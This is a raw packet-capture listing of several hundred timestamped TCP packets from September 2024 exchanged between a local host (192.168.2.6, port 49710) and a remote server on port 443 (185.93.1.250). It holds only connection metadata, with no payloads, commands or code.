Sep 8, 2024 09:53:38.976098061 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.977037907 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.977051973 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.977097034 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.977101088 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.977132082 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.977272987 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.977286100 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.977325916 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.977329969 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.977360964 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.977618933 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.977638006 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.977679968 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.977684975 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.977715969 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.977791071 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.977803946 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.977844954 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.977849007 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.977879047 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.978192091 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.978204012 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.978240967 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.978245974 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.978275061 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.978416920 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.978430033 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.978466034 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.978471041 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.978502035 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.979046106 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.979058981 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.979101896 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:38.979105949 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:38.979136944 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.063237906 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.063273907 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.063369989 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.063376904 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.063409090 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.064274073 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.064294100 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.064323902 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.064327002 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.064358950 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.064389944 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.064409018 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.064433098 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.064436913 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.064455986 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.064472914 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.064583063 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.064601898 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.064641953 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.064645052 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.064675093 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.065208912 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.065227032 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.065256119 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.065259933 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.065283060 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.065298080 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.065644026 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.065656900 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.065695047 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.065699100 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.065730095 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.065788031 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.065799952 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.065838099 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.065841913 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.065871954 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.065948963 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.065968990 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.065994978 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.065998077 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.066023111 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.066039085 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.150499105 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.150517941 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.150664091 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.150679111 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.150727034 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.151530981 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.151544094 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.151746988 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.151752949 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.151796103 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.151875973 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.151896954 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.151942015 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.151947021 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.151992083 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.152209997 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.152228117 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.152266026 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.152276039 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.152293921 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.152311087 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.164367914 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.164386034 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.164439917 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.164446115 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.164455891 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.164485931 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.164726019 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.164738894 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.164791107 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.164796114 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.164830923 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.164959908 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.164973021 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.165021896 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.165025949 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.165066957 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.165258884 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.165271044 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.165316105 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.165319920 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.165363073 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.430830002 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.430850029 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.430922031 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.430932999 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.430973053 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.431021929 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.431035042 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.431086063 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.431091070 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.431128025 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.431201935 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.431221008 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.431248903 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.431252956 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.431286097 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.431303024 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.431667089 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.431679964 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.431730986 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.431735992 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.431745052 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.431766033 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.431766987 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.431776047 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.431813955 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.431842089 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.432564974 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.432579041 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.432626963 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.432632923 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.432670116 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.432687044 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.432698965 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.432735920 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.432739973 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.432766914 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.432781935 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.432815075 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.432827950 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.432858944 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.432862997 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.432894945 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.432912111 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.433865070 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.433880091 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.433942080 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.433947086 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.433979988 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.434005022 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.434019089 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.434026003 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.434056997 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.434061050 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.434082031 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.434097052 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.434098959 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.434108019 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.434123993 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.434144020 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.434149027 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.434185028 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.434201956 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.434333086 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.434802055 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.435019016 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.435033083 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.435084105 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.435084105 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.435090065 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.435127974 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.435133934 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.435147047 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.435188055 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.435197115 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.435229063 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.435270071 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.435282946 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.435331106 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.435331106 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.435336113 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.435374022 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.435980082 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.435993910 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.436038971 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.436048985 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.436058044 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.436080933 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.436119080 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.436188936 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.436203003 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.436255932 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.436260939 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.436326027 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.436342955 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.436377048 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.436382055 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.436408997 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.436748981 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.436760902 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.436813116 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.436817884 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.436929941 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.436949015 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.437016964 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.437021017 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.437027931 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.437069893 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.437076092 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.437171936 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.437184095 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.437215090 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.437220097 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.437246084 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.438014984 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.438028097 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.438085079 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.438090086 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.438167095 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.438184977 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.438215971 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.438220024 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.438239098 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.438256979 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.438270092 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.438299894 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.438303947 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.438328028 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.487076044 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.508893013 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.508910894 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.508960009 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.508968115 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.508997917 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.509011984 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.509016037 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.509021997 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.509037971 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.509057999 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.509063959 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.509082079 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.509089947 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.509094954 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.509109020 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.509114027 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.509135962 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.509162903 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.509248972 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.509262085 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.509299040 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.509304047 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.509324074 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.509340048 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.509394884 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.509407997 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.509463072 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.509468079 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.509509087 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.509546995 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.509558916 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.509610891 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.509615898 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.509661913 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.509990931 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.510004997 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.510071993 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.510077000 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.510117054 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.510504007 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.510518074 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.510584116 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.510588884 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.510632038 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.593930960 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.593954086 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.594091892 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.594104052 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.594151020 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.594393969 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.594408989 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.594463110 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.594474077 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.594506025 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.594906092 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.594921112 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.594974995 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.594980001 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.595016956 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.595155001 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.595169067 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.595217943 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.595222950 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.595254898 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.595582962 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.595596075 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.595638990 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.595643997 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.595681906 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.595752001 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.595765114 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.595808983 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.595813036 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.595845938 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.596086025 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.596098900 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.596144915 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.596149921 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.596184969 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.596227884 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.596240997 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.596287012 CEST	49710	443	192.168.2.6	185.93.1.250
Sep 8, 2024 09:53:39.596291065 CEST	443	49710	185.93.1.250	192.168.2.6
Sep 8, 2024 09:53:39.596333027 CEST	49710	443	192.168.2.6	185.93.1.250
